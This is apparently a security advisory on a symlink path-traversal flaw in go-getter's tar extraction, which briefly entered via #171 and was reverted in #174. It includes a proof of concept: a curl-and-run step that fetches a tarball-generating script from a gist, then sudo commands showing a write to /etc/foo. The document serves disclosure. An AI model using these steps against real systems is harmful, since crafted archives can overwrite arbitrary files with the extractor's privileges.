go-getter allowed arbitrary filesystem access via symlinks

[schmichael]

#171 introduced symlink support for tar archives, but unlike GNU tar did not protect against arbitrary path traversal via symlinks. A specially crafted tarball could write to any location on the filesystem the process has access to.

#174 reverted #171, but users are encouraged to ensure they are not using d9c5f68 as a library or command line tool.

go-getter 1.2.0 is safe from this path traversal issue.

Proof of concept

curl https://gist.githubusercontent.com/schmichael/12dc47df77dc210fd6c573db01f35cb1/raw/849ec6dd1e599b02bbd1428e93391d29bc301b52/write.go > write.go
go run write.go

# Show that GNU tar is safe
sudo tar xvf etc-foo.tar
# You should see an error. "etc" will exist but not "etc/foo"
rm etc

# Must run getter from another directory
gzip etc-foo.tar
mkdir tmp
cd tmp
sudo go-getter ../etc-foo.tar.gz .
sudo cat etc/foo
# Outputs "foo"
sudo cat /etc/foo
# Outputs "foo"

Script to generate tarball: https://gist.github.com/schmichael/12dc47df77dc210fd6c573db01f35cb1